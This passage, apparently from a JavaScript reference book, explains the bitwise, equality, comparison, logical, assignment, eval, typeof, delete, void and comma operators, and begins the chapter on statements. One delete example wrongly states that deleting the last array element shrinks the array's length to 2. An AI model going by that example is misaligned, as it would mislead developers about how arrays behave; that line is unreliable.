The `^` operator performs a Boolean exclusive OR operation on each bit of its integer arguments. Exclusive OR means that either operand one is `true` or operand two is `true`, but not both. A bit is set in this operation's result if a corresponding bit is set in one (but not both) of the two operands. For example, `0xFF00 ^ 0xF0F0` evaluates to `0x0FF0`.

Bitwise NOT (~)

The `~` operator is a unary operator that appears before its single integer operand. It operates by reversing all bits in the operand. Because of the way signed integers are represented in JavaScript, applying the `~` operator to a value is equivalent to changing its sign and subtracting 1. For example `~0x0F` evaluates to `0xFFFFFFF0`, or –16.

Shift left (<<)

The `<<` operator moves all bits in its first operand to the left by the number of places specified in the second operand, which should be an integer between 0 and 31. For example, in the operation `a << 1`, the first bit (the ones bit) of `a` becomes the second bit (the twos bit), the second bit of `a` becomes the third, etc. A zero is used for the new first bit, and the value of the 32nd bit is lost. Shifting a value left by one position is equivalent to multiplying by 2, shifting two positions is equivalent to multiplying by 4, and so on. For example, `7 << 2` evaluates to 28.

Shift right with sign (>>)

The `>>` operator moves all bits in its first operand to the right by the number of places specified in the second operand (an integer between 0 and 31). Bits that are shifted off the right are lost. The bits filled in on the left depend on the sign bit of the original operand, in order to preserve the sign of the result. If the first operand is positive, the result has zeros placed in the high bits; if the first operand is negative, the result has ones placed in the high bits. Shifting a value right one place is equivalent to dividing by 2 (discarding the remainder), shifting right two places is equivalent to integer division by 4, and so on. For example, `7 >> 1` evaluates to 3, and `-7 >> 1` evaluates to –4.

Shift right with zero fill (>>>)

The `>>>` operator is just like the `>>` operator, except that the bits shifted in on the left are always zero, regardless of the sign of the first operand. For example, `-1 >> 4` evaluates to –1, but `-1 >>> 4` evaluates to `0x0FFFFFFF`.

4.9 Relational Expressions

This section describes JavaScript's relational operators. These operators test for a relationship (such as "equals," "less than," or "property of") between two values and return `true` or `false` depending on whether that relationship exists. Relational expressions always evaluate to a boolean value, and that value is often used to control the flow of program execution in `if`, `while`, and `for` statements (see Chapter 5). The subsections that follow document the equality and inequality operators, the comparison operators, and JavaScript's other two relational operators, `in` and `instanceof`.

4.9.1 Equality and Inequality Operators

The `==` and `===` operators check whether two values are the same, using two different definitions of sameness. Both operators accept operands of any type, and both return `true` if their operands are the same and `false` if they are different. The `===` operator is known as the strict equality operator (or sometimes the identity operator), and it checks whether its two operands are "identical" using a strict definition of sameness. The `==` operator is known as the equality operator; it checks whether its two operands are "equal" using a more relaxed definition of sameness that allows type conversions.

JavaScript supports `=`, `==`, and `===` operators. Be sure you understand the differences between these assignment, equality, and strict equality operators, and be careful to use the correct one when coding! Although it is tempting to read all three operators "equals," it may help to reduce confusion if you read "gets or is assigned" for `=`, "is equal to" for `==`, and "is strictly equal to" for `===`.

The `!=` and `!==` operators test for the exact opposite of the `==` and `===` operators. The `!=` inequality operator returns `false` if two values are equal to each other according to `==` and returns `true` otherwise. The `!==` operator returns `false` if two values are strictly equal to each other and returns `true` otherwise. As you'll see in §4.10, the `!` operator computes the Boolean NOT operation. This makes it easy to remember that `!=` and `!==` stand for "not equal to" and "not strictly equal to."

As mentioned in §3.7, JavaScript objects are compared by reference, not by value. An object is equal to itself, but not to any other object. If two distinct objects have the same number of properties, with the same names and values, they are still not equal. Two arrays that have the same elements in the same order are not equal to each other.

The strict equality operator `===` evaluates its operands, and then compares the two values as follows, performing no type conversion:

- If the two values have different types, they are not equal.
- If both values are `null` or both values are `undefined`, they are equal.
- If both values are the boolean value `true` or both are the boolean value `false`, they are equal.

- If one or both values is `NaN`, they are not equal. The `NaN` value is never equal to any other value, including itself! To check whether a value `x` is `NaN`, use `x !== x`. `NaN` is the only value of `x` for which this expression will be true.
- If both values are numbers and have the same value, they are equal. If one value is `0` and the other is `-0`, they are also equal.
- If both values are strings and contain exactly the same 16-bit values (see the sidebar in §3.2) in the same positions, they are equal. If the strings differ in length or content, they are not equal. Two strings may have the same meaning and the same visual appearance, but still be encoded using different sequences of 16-bit values. JavaScript performs no Unicode normalization, and a pair of strings like this are not considered equal to the `===` or to the `==` operators. See `String.localeCompare()` in Part III for another way to compare strings.
- If both values refer to the same object, array, or function, they are equal. If they refer to different objects they are not equal, even if both objects have identical properties.

The equality operator `==` is like the strict equality operator, but it is less strict. If the values of the two operands are not the same type, it attempts some type conversions and tries the comparison again:

- If the two values have the same type, test them for strict equality as described above. If they are strictly equal, they are equal. If they are not strictly equal, they are not equal.
- If the two values do not have the same type, the `==` operator may still consider them equal. Use the following rules and type conversions to check for equality:
  - If one value is `null` and the other is `undefined`, they are equal.
  - If one value is a number and the other is a string, convert the string to a number and try the comparison again, using the converted value.
  - If either value is `true`, convert it to 1 and try the comparison again. If either value is `false`, convert it to 0 and try the comparison again.
  - If one value is an object and the other is a number or string, convert the object to a primitive using the algorithm described in §3.8.3 and try the comparison again. An object is converted to a primitive value by either its `toString()` method or its `valueOf()` method. The built-in classes of core JavaScript attempt `valueOf()` conversion before `toString()` conversion, except for the Date class, which performs `toString()` conversion. Objects that are not part of core JavaScript may convert themselves to primitive values in an implementation-defined way.
  - Any other combinations of values are not equal.

As an example of testing for equality, consider the comparison:

```
"1" == true
```

This expression evaluates to `true`, indicating that these very different-looking values are in fact equal. The boolean value `true` is first converted to the number 1, and the comparison is done again. Next, the string `"1"` is converted to the number 1. Since both values are now the same, the comparison returns `true`.

4.9.2 Comparison Operators

The comparison operators test the relative order (numerical or alphabetics) of their two operands:

Less than (<)
: The `<` operator evaluates to `true` if its first operand is less than its second operand; otherwise it evaluates to `false`.

Greater than (>)
: The `>` operator evaluates to `true` if its first operand is greater than its second operand; otherwise it evaluates to `false`.

Less than or equal (<=)
: The `<=` operator evaluates to `true` if its first operand is less than or equal to its second operand; otherwise it evaluates to `false`.

Greater than or equal (>=)
: The `>=` operator evaluates to `true` if its first operand is greater than or equal to its second operand; otherwise it evaluates to `false`.

The operands of these comparison operators may be of any type. Comparison can be performed only on numbers and strings, however, so operands that are not numbers or strings are converted. Comparison and conversion occur as follows:

- If either operand evaluates to an object, that object is converted to a primitive value as described at the end of §3.8.3: if its `valueOf()` method returns a primitive value, that value is used. Otherwise, the return value of its `toString()` method is used.
- If, after any required object-to-primitive conversion, both operands are strings, the two strings are compared, using alphabetical order, where "alphabetical order" is defined by the numerical order of the 16-bit Unicode values that make up the strings.
- If, after object-to-primitive conversion, at least one operand is not a string, both operands are converted to numbers and compared numerically. `0` and `-0` are considered equal. `Infinity` is larger than any number other than itself, and `-Infinity` is smaller than any number other than itself. If either operand is (or converts to) `NaN`, then the comparison operator always returns `false`.

Remember that JavaScript strings are sequences of 16-bit integer values, and that string comparison is just a numerical comparison of the values in the two strings. The numerical encoding order defined by Unicode may not match the traditional collation order used in any particular language or locale. Note in particular that string comparison is case-sensitive, and all capital ASCII letters are "less than" all lowercase ASCII

letters. This rule can cause confusing results if you do not expect it. For example, according to the `<` operator, the string "Zoo" comes before the string "aardvark".

For a more robust string-comparison algorithm, see the `String.localeCompare()` method, which also takes locale-specific definitions of alphabetical order into account. For case-insensitive comparisons, you must first convert the strings to all lowercase or all uppercase using `String.toLowerCase()` or `String.toUpperCase()`.

Both the `+` operator and the comparison operators behave differently for numeric and string operands. `+` favors strings: it performs concatenation if either operand is a string. The comparison operators favor numbers and only perform string comparison if both operands are strings:

```
1 + 2        // Addition. Result is 3.
"1" + "2"    // Concatenation. Result is "12".
"1" + 2      // Concatenation. 2 is converted to "2". Result is "12".
11 < 3       // Numeric comparison. Result is false.
"11" < "3"   // String comparison. Result is true.
"11" < 3     // Numeric comparison. "11" converted to 11. Result is false.
"one" < 3    // Numeric comparison. "one" converted to NaN. Result is false.
```

Finally, note that the `<=` (less than or equal) and `>=` (greater than or equal) operators do not rely on the equality or strict equality operators for determining whether two values are "equal." Instead, the less-than-or-equal operator is simply defined as "not greater than," and the greater-than-or-equal operator is defined as "not less than." The one exception occurs when either operand is (or converts to) `NaN`, in which case all four comparison operators return `false`.

4.9.3 The in Operator

The `in` operator expects a left-side operand that is or can be converted to a string. It expects a right-side operand that is an object. It evaluates to `true` if the left-side value is the name of a property of the right-side object. For example:

```
var point = { x:1, y:1 };  // Define an object
"x" in point               // => true: object has property named "x"
"z" in point               // => false: object has no "z" property.
"toString" in point        // => true: object inherits toString method

var data = [7,8,9];        // An array with elements 0, 1, and 2
"0" in data                // => true: array has an element "0"
1 in data                  // => true: numbers are converted to strings
3 in data                  // => false: no element 3
```

4.9.4 The instanceof Operator

The `instanceof` operator expects a left-side operand that is an object and a right-side operand that identifies a class of objects. The operator evaluates to `true` if the left-side object is an instance of the right-side class and evaluates to `false` otherwise. Chapter 9 explains that, in JavaScript, classes of objects are defined by the constructor

function that initializes them. Thus, the right-side operand of `instanceof` should be a function. Here are examples:

```
var d = new Date();  // Create a new object with the Date() constructor
d instanceof Date;   // Evaluates to true; d was created with Date()
d instanceof Object; // Evaluates to true; all objects are instances of Object
d instanceof Number; // Evaluates to false; d is not a Number object
var a = [1, 2, 3];   // Create an array with array literal syntax
a instanceof Array;  // Evaluates to true; a is an array
a instanceof Object; // Evaluates to true; all arrays are objects
a instanceof RegExp; // Evaluates to false; arrays are not regular expressions
```

Note that all objects are instances of `Object`. `instanceof` considers the "superclasses" when deciding whether an object is an instance of a class. If the left-side operand of `instanceof` is not an object, `instanceof` returns `false`. If the right-hand side is not a function, it throws a `TypeError`.

In order to understand how the `instanceof` operator works, you must understand the "prototype chain." This is JavaScript's inheritance mechanism, and it is described in §6.2.2. To evaluate the expression `o instanceof f`, JavaScript evaluates `f.prototype`, and then looks for that value in the prototype chain of `o`. If it finds it, then o is an instance of f (or of a superclass of f) and the operator returns `true`. If `f.prototype` is not one of the values in the prototype chain of `o`, then `o` is not an instance of f and `instanceof` returns `false`.

4.10 Logical Expressions

The logical operators `&&`, `||`, and `!` perform Boolean algebra and are often used in conjunction with the relational operators to combine two relational expressions into one more complex expression. These operators are described in the subsections that follow. In order to fully understand them, you may want to review the concept of "truthy" and "falsy" values introduced in §3.3.

4.10.1 Logical AND (&&)

The `&&` operator can be understood at three different levels. At the simplest level, when used with boolean operands, `&&` performs the Boolean AND operation on the two values: it returns `true` if and only if both its first operand *and* its second operand are `true`. If one or both of these operands is `false`, it returns `false`.

`&&` is often used as a conjunction to join two relational expressions:

```
x == 0 && y == 0   // true if, and only if x and y are both 0
```

Relational expressions always evaluate to `true` or `false`, so when used like this, the `&&` operator itself returns `true` or `false`. Relational operators have higher precedence than `&&` (and `||`), so expressions like these can safely be written without parentheses.

But `&&` does not require that its operands be boolean values. Recall that all JavaScript values are either "truthy" or "falsy." (See §3.3 for details. The falsy values are `false`,

`null`, `undefined`, `0`, `-0`, `NaN`, and `""`. All other values, including all objects, are truthy.) The second level at which `&&` can be understood is as a Boolean AND operator for truthy and falsy values. If both operands are truthy, the operator returns a truthy value. Otherwise, one or both operands must be falsy, and the operator returns a falsy value. In JavaScript, any expression or statement that expects a boolean value will work with a truthy or falsy value, so the fact that `&&` does not always return `true` or `false` does not cause practical problems.

Notice that the description above says that the operator returns "a truthy value" or "a falsy value," but does not specify what that value is. For that, we need to describe `&&` at the third and final level. This operator starts by evaluating its first operand, the expression on its left. If the value on the left is falsy, the value of the entire expression must also be falsy, so `&&` simply returns the value on the left and does not even evaluate the expression on the right.

On the other hand, if the value on the left is truthy, then the overall value of the expression depends on the value on the right-hand side. If the value on the right is truthy, then the overall value must be truthy, and if the value on the right is falsy, then the overall value must be falsy. So when the value on the left is truthy, the `&&` operator evaluates and returns the value on the right:

```
var o = { x : 1 };
var p = null;
o && o.x     // => 1: o is truthy, so return value of o.x
p && p.x     // => null: p is falsy, so return it and don't evaluate p.x
```

It is important to understand that `&&` may or may not evaluate its right-side operand. In the code above, the variable `p` is set to `null`, and the expression `p.x` would, if evaluated, cause a TypeError. But the code uses `&&` in an idiomatic way so that `p.x` is evaluated only if `p` is truthy—not `null` or `undefined`.

The behavior of `&&` is sometimes called "short circuiting," and you may sometimes see code that purposely exploits this behavior to conditionally execute code. For example, the following two lines of JavaScript code have equivalent effects:

```
if (a == b) stop();   // Invoke stop() only if a == b
(a == b) && stop();   // This does the same thing
```

In general, you must be careful whenever you write an expression with side effects (assignments, increments, decrements, or function invocations) on the right-hand side of `&&`. Whether those side effects occur depends on the value of the left-hand side.

Despite the somewhat complex way that this operator actually works, it is most commonly used as a simple Boolean algebra operator that works on truthy and falsy values.

4.10.2 Logical OR (||)

The `||` operator performs the Boolean OR operation on its two operands. If one or both operands is truthy, it returns a truthy value. If both operands are falsy, it returns a falsy value.

Although the || operator is most often used simply as a Boolean OR operator, it, like the && operator, has more complex behavior. It starts by evaluating its first operand, the expression on its left. If the value of this first operand is truthy, it returns that truthy value. Otherwise, it evaluates its second operand, the expression on its right, and returns the value of that expression.

As with the && operator, you should avoid right-side operands that include side effects, unless you purposely want to use the fact that the right-side expression may not be evaluated.

An idiomatic usage of this operator is to select the first truthy value in a set of alternatives:

```
// If max_width is defined, use that.  Otherwise look for a value in
// the preferences object.  If that is not defined use a hard-coded constant.
var max = max_width || preferences.max_width || 500;
```

This idiom is often used in function bodies to supply default values for parameters:

```
// Copy the properties of o to p, and return p
function copy(o, p) {
   p = p || {};  // If no object passed for p, use a newly created object.
   // function body goes here
}
```

4.10.3 Logical NOT (!)

The ! operator is a unary operator; it is placed before a single operand. Its purpose is to invert the boolean value of its operand. For example, if x is truthy !x evaluates to false. If x is falsy, then !x is true.

Unlike the && and || operators, the ! operator converts its operand to a boolean value (using the rules described in Chapter 3) before inverting the converted value. This means that ! always returns true or false, and that you can convert any value x to its equivalent boolean value by applying this operator twice: !!x (see §3.8.2).

As a unary operator, ! has high precedence and binds tightly. If you want to invert the value of an expression like p && q, you need to use parentheses: !(p && q). It is worth noting two theorems of Boolean algebra here that we can express using JavaScript syntax:

```
// These two equalities hold for any values of p and q
!(p && q) === !p || !q
!(p || q) === !p && !q
```

4.11 Assignment Expressions

JavaScript uses the = operator to assign a value to a variable or property. For example:

```
i = 0           // Set the variable i to 0.
o.x = 1         // Set the property x of object o to 1.
```

The = operator expects its left-side operand to be an lvalue: a variable or object property (or array element). It expects its right-side operand to be an arbitrary value of any type. The value of an assignment expression is the value of the right-side operand. As a side effect, the = operator assigns the value on the right to the variable or property on the left so that future references to the variable or property evaluate to the value.

Although assignment expressions are usually quite simple, you may sometimes see the value of an assignment expression used as part of a larger expression. For example, you can assign and test a value in the same expression with code like this:

```
(a = b) == 0
```

If you do this, be sure you are clear on the difference between the = and == operators! Note that = has very low precedence and parentheses are usually necessary when the value of an assignment is to be used in a larger expression.

The assignment operator has right-to-left associativity, which means that when multiple assignment operators appear in an expression, they are evaluated from right to left. Thus, you can write code like this to assign a single value to multiple variables:

```
i = j = k = 0;       // Initialize 3 variables to 0
```

4.11.1 Assignment with Operation

Besides the normal = assignment operator, JavaScript supports a number of other assignment operators that provide shortcuts by combining assignment with some other operation. For example, the += operator performs addition and assignment. The following expression:

```
total += sales_tax
```

is equivalent to this one:

```
total = total + sales_tax
```

As you might expect, the += operator works for numbers or strings. For numeric operands, it performs addition and assignment; for string operands, it performs concatenation and assignment.

Similar operators include -=, *=, &=, and so on. Table 4-2 lists them all.

Table 4-2. Assignment operators

Operator	Example	Equivalent
+=	a += b	a = a + b
-=	a -= b	a = a - b
*=	a *= b	a = a * b
/=	a /= b	a = a / b
%=	a %= b	a = a % b
<<=	a <<= b	a = a << b

Operator	Example	Equivalent
`>>=`	`a >>= b`	`a = a >> b`
`>>>=`	`a >>>= b`	`a = a >>> b`
`&=`	`a &= b`	`a = a & b`
`|=`	`a |= b`	`a = a | b`
`^=`	`a ^= b`	`a = a ^ b`

In most cases, the expression:

```
a op= b
```

where *op* is an operator, is equivalent to the expression:

```
a = a op b
```

In the first line, the expression `a` is evaluated once. In the second it is evaluated twice. The two cases will differ only if `a` includes side effects such as a function call or an increment operator. The following two assignments, for example, are not the same:

```
data[i++] *= 2;
data[i++] = data[i++] * 2;
```

4.12 Evaluation Expressions

Like many interpreted languages, JavaScript has the ability to interpret strings of JavaScript source code, evaluating them to produce a value. JavaScript does this with the global function `eval()`:

```
eval("3+2")    // => 5
```

Dynamic evaluation of strings of source code is a powerful language feature that is almost never necessary in practice. If you find yourself using `eval()`, you should think carefully about whether you really need to use it.

The subsections below explain the basic use of `eval()` and then explain two restricted versions of it that have less impact on the optimizer.

Is eval() a Function or an Operator?

`eval()` is a function, but it is included in this chapter on expressions because it really should have been an operator. The earliest versions of the language defined an `eval()` function, and ever since then language designers and interpreter writers have been placing restrictions on it that make it more and more operator-like. Modern JavaScript interpreters perform a lot of code analysis and optimization. The problem with `eval()` is that the code it evaluates is, in general, unanalyzable. Generally speaking, if a function calls `eval()`, the interpreter cannot optimize that function. The problem with defining `eval()` as a function is that it can be given other names:

```
var f = eval;
var g = f;
```

If this is allowed, then the interpreter can't safely optimize any function that calls `g()`. This issue could have been avoided if `eval` was an operator (and a reserved word). We'll learn below (in §4.12.2 and §4.12.3) about restrictions placed on `eval()` to make it more operator-like.

4.12.1 eval()

`eval()` expects one argument. If you pass any value other than a string, it simply returns that value. If you pass a string, it attempts to parse the string as JavaScript code, throwing a SyntaxError if it fails. If it successfully parses the string, then it evaluates the code and returns the value of the last expression or statement in the string or `undefined` if the last expression or statement had no value. If the string throws an exception, the `eval()` propagates that expression.

The key thing about `eval()` (when invoked like this) is that it uses the variable environment of the code that calls it. That is, it looks up the values of variables and defines new variables and functions in the same way that local code does. If a function defines a local variable `x` and then calls `eval("x")`, it will obtain the value of the local variable. If it calls `eval("x=1")`, it changes the value of the local variable. And if the function calls `eval("var y = 3;")`, it has declared a new local variable `y`. Similarly a function can declare a local function with code like this:

```
eval("function f() { return x+1; }");
```

If you call `eval()` from top-level code, it operates on global variables and global functions, of course.

Note that the string of code you pass to `eval()` must make syntactic sense on its own—you cannot use it to paste code fragments into a function. It makes no sense to write `eval("return;")`, for example, because `return` is only legal within functions, and the fact that the evaluated string uses the same variable environment as the calling function does not make it part of that function. If your string would make sense as a standalone script (even a very short one like `x=0`), it is legal to pass to `eval()`. Otherwise `eval()` will throw a SyntaxError.

4.12.2 Global eval()

It is the ability of `eval()` to change local variables that is so problematic to JavaScript optimizers. As a workaround, however, interpreters simply do less optimization on any function that calls `eval()`. But what should a JavaScript interpreter do, however, if a script defines an alias for `eval()` and then calls that function by another name? In order to simplify the job of JavaScript implementors, the ECMAScript 3 standard declared that interpreters did not have to allow this. If the `eval()` function was invoked by any name other than "eval", it was allowed to throw an EvalError.

In practice, most implementors did something else. When invoked by any other name, `eval()` would evaluate the string as if it were top-level global code. The evaluated code might define new global variables or global functions, and it might set global variables,

but it could not use or modify any variables local to the calling function, and would not, therefore, interfere with local optimizations.

ECMAScript 5 deprecates EvalError and standardizes the de facto behavior of `eval()`. A "direct eval" is a call to the `eval()` function with an expression that uses the exact, unqualified name "eval" (which is beginning to feel like a reserved word). Direct calls to `eval()` use the variable environment of the calling context. Any other call—an indirect call—uses the global object as its variable environment and cannot read, write, or define local variables or functions. The following code demonstrates:

```
var geval = eval;                // Using another name does a global eval
var x = "global", y = "global";  // Two global variables
function f() {                   // This function does a local eval
    var x = "local";             // Define a local variable
    eval("x += 'changed';");     // Direct eval sets local variable
    return x;                    // Return changed local variable
}
function g() {                   // This function does a global eval
    var y = "local";             // A local variable
    geval("y += 'changed';");    // Indirect eval sets global variable
    return y;                    // Return unchanged local variable
}
console.log(f(), x); // Local variable changed: prints "localchanged global":
console.log(g(), y); // Global variable changed: prints "local globalchanged":
```

Notice that the ability to do a global eval is not just an accommodation to the needs of the optimizer, it is actually a tremendously useful feature: it allows you to execute strings of code as if they were independent, top-level scripts. As noted at the beginning of this section, it is rare to truly need to evaluate a string of code. But if you do find it necessary, you are more likely to want to do a global eval than a local eval.

Before IE9, IE differs from other browsers: it does not do a global eval when `eval()` is invoked by a different name. (It doesn't throw an EvalError either: it simply does a local eval.) But IE does define a global function named `execScript()` that executes its string argument as if it were a top-level script. (Unlike `eval()`, however, `execScript()` always returns `null`.)

4.12.3 Strict eval()

ECMAScript 5 strict mode (see §5.7.3) imposes further restrictions on the behavior of the `eval()` function and even on the use of the identifier "eval". When `eval()` is called from strict mode code, or when the string of code to be evaluated itself begins with a "use strict" directive, then `eval()` does a local eval with a private variable environment. This means that in strict mode, evaluated code can query and set local variables, but it cannot define new variables or functions in the local scope.

Furthermore, strict mode makes `eval()` even more operator-like by effectively making "eval" into a reserved word. You are not allowed to overwrite the `eval()` function with a new value. And you are not allowed to declare a variable, function, function parameter, or catch block parameter with the name "eval".

4.13 Miscellaneous Operators

JavaScript supports a number of other miscellaneous operators, described in the following sections.

4.13.1 The Conditional Operator (?:)

The conditional operator is the only ternary operator (three operands) in JavaScript and is sometimes actually called the ternary operator. This operator is sometimes written `?:`, although it does not appear quite that way in code. Because this operator has three operands, the first goes before the `?`, the second goes between the `?` and the `:`, and the third goes after the `:`. It is used like this:

```
x > 0 ? x : -x     // The absolute value of x
```

The operands of the conditional operator may be of any type. The first operand is evaluated and interpreted as a boolean. If the value of the first operand is truthy, then the second operand is evaluated, and its value is returned. Otherwise, if the first operand is falsy, then the third operand is evaluated and its value is returned. Only one of the second and third operands is evaluated, never both.

While you can achieve similar results using the `if` statement (§5.4.1), the `?:` operator often provides a handy shortcut. Here is a typical usage, which checks to be sure that a variable is defined (and has a meaningful, truthy value) and uses it if so or provides a default value if not:

```
greeting = "hello " + (username ? username : "there");
```

This is equivalent to, but more compact than, the following `if` statement:

```
greeting = "hello ";
if (username)
    greeting += username;
else
    greeting += "there";
```

4.13.2 The typeof Operator

`typeof` is a unary operator that is placed before its single operand, which can be of any type. Its value is a string that specifies the type of the operand. The following table specifies the value of the `typeof` operator for any JavaScript value:

x	typeof x
undefined	"undefined"
null	"object"
true or false	"boolean"
any number or NaN	"number"
any string	"string"

x	typeof x
any function	"function"
any nonfunction native object	"object"
any host object	An implementation-defined string, but not "undefined", "boolean", "number", or "string".

You might use the typeof operator in an expression like this:

```
(typeof value == "string") ? "'" + value + "'" : value
```

The typeof operator is also useful when used with the switch statement (§5.4.3). Note that you can place parentheses around the operand to typeof, which makes typeof look like the name of a function rather than an operator keyword:

```
typeof(i)
```

Note that typeof returns "object" if the operand value is null. If you want to distinguish null from objects, you'll have to explicitly test for this special-case value. typeof may return a string other than "object" for host objects. In practice, however, most host objects in client-side JavaScript have a type of "object".

Because typeof evaluates to "object" for all object and array values other than functions, it is useful only to distinguish objects from other, primitive types. In order to distinguish one class of object from another, you must use other techniques, such as the instanceof operator (see §4.9.4), the *class* attribute (see §6.8.2), or the constructor property (see §6.8.1 and §9.2.2).

Although functions in JavaScript are a kind of object, the typeof operator considers functions to be sufficiently different that they have their own return value. JavaScript makes a subtle distinction between functions and "callable objects." All functions are callable, but it is possible to have a callable object—that can be invoked just like a function—that is not a true function. The ECMAScript 3 spec says that the typeof operator returns "function" for all native object that are callable. The ECMAScript 5 specification extends this to require that typeof return "function" for all callable objects, whether native objects or host objects. Most browser vendors use native JavaScript function objects for the methods of their host objects. Microsoft, however, has always used non-native callable objects for their client-side methods, and before IE 9 the typeof operator returns "object" for them, even though they behave like functions. In IE9 these client-side methods are now true native function objects. See §8.7.7 for more on the distinction between true functions and callable objects.

4.13.3 The delete Operator

`delete` is a unary operator that attempts to delete the object property or array element specified as its operand.[1] Like the assignment, increment, and decrement operators, `delete` is typically used for its property deletion side effect, and not for the value it returns. Some examples:

```
var o = { x: 1, y: 2}; // Start with an object
delete o.x;            // Delete one of its properties
"x" in o               // => false: the property does not exist anymore

var a = [1,2,3];       // Start with an array
delete a[2];           // Delete the last element of the array
a.length               // => 2: array only has two elements now
```

Note that a deleted property or array element is not merely set to the `undefined` value. When a property is deleted, the property ceases to exist. Attempting to read a nonexistent property returns `undefined`, but you can test for the actual existence of a property with the `in` operator (§4.9.3).

`delete` expects its operand to be an lvalue. If it is not an lvalue, the operator takes no action and returns `true`. Otherwise, `delete` attempts to delete the specified lvalue. `delete` returns `true` if it successfully deletes the specified lvalue. Not all properties can be deleted, however: some built-in core and client-side properties are immune from deletion, and user-defined variables declared with the `var` statement cannot be deleted. Functions defined with the `function` statement and declared function parameters cannot be deleted either.

In ECMAScript 5 strict mode, `delete` raises a SyntaxError if its operand is an unqualified identifier such as a variable, function, or function parameter: it only works when the operand is a property access expression (§4.4). Strict mode also specifies that `delete` raises a TypeError if asked to delete any nonconfigurable property (see §6.7). Outside of strict mode, no exception occurs in these cases and `delete` simply returns `false` to indicate that the operand could not be deleted.

Here are some example uses of the delete operator:

```
var o = {x:1, y:2};  // Define a variable; initialize it to an object
delete o.x;          // Delete one of the object properties; returns true
typeof o.x;          // Property does not exist; returns "undefined"
delete o.x;          // Delete a nonexistent property; returns true
delete o;            // Can't delete a declared variable; returns false.
                     // Would raise an exception in strict mode.
delete 1;            // Argument is not an lvalue: returns true
this.x = 1;          // Define a property of the a global object without var
delete x;            // Try to delete it: returns true in non-strict mode
```

1. If you are a C++ programmer, note that the `delete` keyword in JavaScript is nothing like the `delete` keyword in C++. In JavaScript, memory deallocation is handled automatically by garbage collection, and you never have to worry about explicitly freeing up memory. Thus, there is no need for a C++-style `delete` to delete entire objects.

```
                        // Exception in strict mode. Use 'delete this.x' instead
x;                      // Runtime error: x is not defined
```

We'll see the `delete` operator again in §6.3.

4.13.4 The void Operator

`void` is a unary operator that appears before its single operand, which may be of any type. This operator is unusual and infrequently used: it evaluates its operand, then discards the value and returns `undefined`. Since the operand value is discarded, using the `void` operator makes sense only if the operand has side effects.

The most common use for this operator is in a client-side `javascript:` URL, where it allows you to evaluate an expression for its side effects without the browser displaying the value of the evaluated expression. For example, you might use the `void` operator in an HTML `<a>` tag as follows:

```
<a href="javascript:void window.open();">Open New Window</a>
```

This HTML could be more cleanly written using an `onclick` event handler rather than a `javascript:` URL, of course, and the `void` operator would not be necessary in that case.

4.13.5 The Comma Operator (,)

The comma operator is a binary operator whose operands may be of any type. It evaluates its left operand, evaluates its right operand, and then returns the value of the right operand. Thus, the following line:

```
i=0, j=1, k=2;
```

evaluates to 2 and is basically equivalent to:

```
i = 0; j = 1; k = 2;
```

The left-hand expression is always evaluated, but its value is discarded, which means that it only makes sense to use the comma operator when the left-hand expression has side effects. The only situation in which the comma operator is commonly used is with a `for` loop (§5.5.3) that has multiple loop variables:

```
// The first comma below is part of the syntax of the var statement
// The second comma is the comma operator: it lets us squeeze 2
// expressions (i++ and j--) into a statement (the for loop) that expects 1.
for(var i=0,j=10; i < j; i++,j--)
    console.log(i+j);
```

CHAPTER 5
Statements

Chapter 4 described expressions as JavaScript phrases. By that analogy, *statements* are JavaScript sentences or commands. Just as English sentences are terminated and separated from each other with periods, JavaScript statements are terminated with semicolons (§2.5). Expressions are *evaluated* to produce a value, but statements are *executed* to make something happen.

One way to "make something happen" is to evaluate an expression that has side effects. Expressions with side effects, such as assignments and function invocations, can stand alone as statements, and when used this way they are known as *expression statements*. A similar category of statements are the *declaration statements* that declare new variables and define new functions.

JavaScript programs are nothing more than a sequence of statements to execute. By default, the JavaScript interpreter executes these statements one after another in the order they are written. Another way to "make something happen" is to alter this default order of execution, and JavaScript has a number of statements or *control structures* that do just this:

- *Conditionals* are statements like `if` and `switch` that make the JavaScript interpreter execute or skip other statements depending on the value of an expression.
- *Loops* are statements like `while` and `for` that execute other statements repetitively.
- *Jumps* are statements like `break`, `return`, and `throw` that cause the interpreter to jump to another part of the program.

The sections that follow describe the various statements in JavaScript and explain their syntax. Table 5-1, at the end of the chapter, summarizes the syntax. A JavaScript program is simply a sequence of statements, separated from one another with semicolons, so once you are familiar with the statements of JavaScript, you can begin writing JavaScript programs.

Download from Wow! eBook <www.wowebook.com>

5.1 Expression Statements

The simplest kinds of statements in JavaScript are expressions that have side effects. (But see §5.7.3 for an important expression statement without side effects.) This sort of statement was shown in Chapter 4. Assignment statements are one major category of expression statements. For example:

```
greeting = "Hello " + name;
i *= 3;
```

The increment and decrement operators, `++` and `--`, are related to assignment statements. These have the side effect of changing a variable value, just as if an assignment had been performed:

```
counter++;
```

The `delete` operator has the important side effect of deleting an object property. Thus, it is almost always used as a statement, rather than as part of a larger expression:

```
delete o.x;
```

Function calls are another major category of expression statements. For example:

```
alert(greeting);
window.close();
```

These client-side function calls are expressions, but they have side effects that affect the web browser and are used here as statements. If a function does not have any side effects, there is no sense in calling it, unless it is part of a larger expression or an assignment statement. For example, you wouldn't just compute a cosine and discard the result:

```
Math.cos(x);
```

But you might well compute the value and assign it to a variable for future use:

```
cx = Math.cos(x);
```

Note that each line of code in each of these examples is terminated with a semicolon.

5.2 Compound and Empty Statements

Just as the comma operator (§4.13.5) combines multiple expressions into a single expression, a *statement block* combines multiple statements into a single *compound statement*. A statement block is simply a sequence of statements enclosed within curly braces. Thus, the following lines act as a single statement and can be used anywhere that JavaScript expects a single statement:

```
{
    x = Math.PI;
    cx = Math.cos(x);
    console.log("cos(π) = " + cx);
}
```

There are a few things to note about this statement block. First, it does *not* end with a semicolon. The primitive statements within the block end in semicolons, but the block itself does not. Second, the lines inside the block are indented relative to the curly braces that enclose them. This is optional, but it makes the code easier to read and understand. Finally, recall that JavaScript does not have block scope and variables declared within a statement block are not private to the block (see §3.10.1 for details).

Combining statements into larger statement blocks is extremely common in JavaScript programming. Just as expressions often contain subexpressions, many JavaScript statements contain substatements. Formally, JavaScript syntax usually allows a single substatement. For example, the `while` loop syntax includes a single statement that serves as the body of the loop. Using a statement block, you can place any number of statements within this single allowed substatement.

A compound statement allows you to use multiple statements where JavaScript syntax expects a single statement. The *empty statement* is the opposite: it allows you to include no statements where one is expected. The empty statement looks like this:

```
;
```

The JavaScript interpreter takes no action when it executes an empty statement. The empty statement is occasionally useful when you want to create a loop that has an empty body. Consider the following `for` loop (`for` loops will be covered in §5.5.3):

```
// Initialize an array a
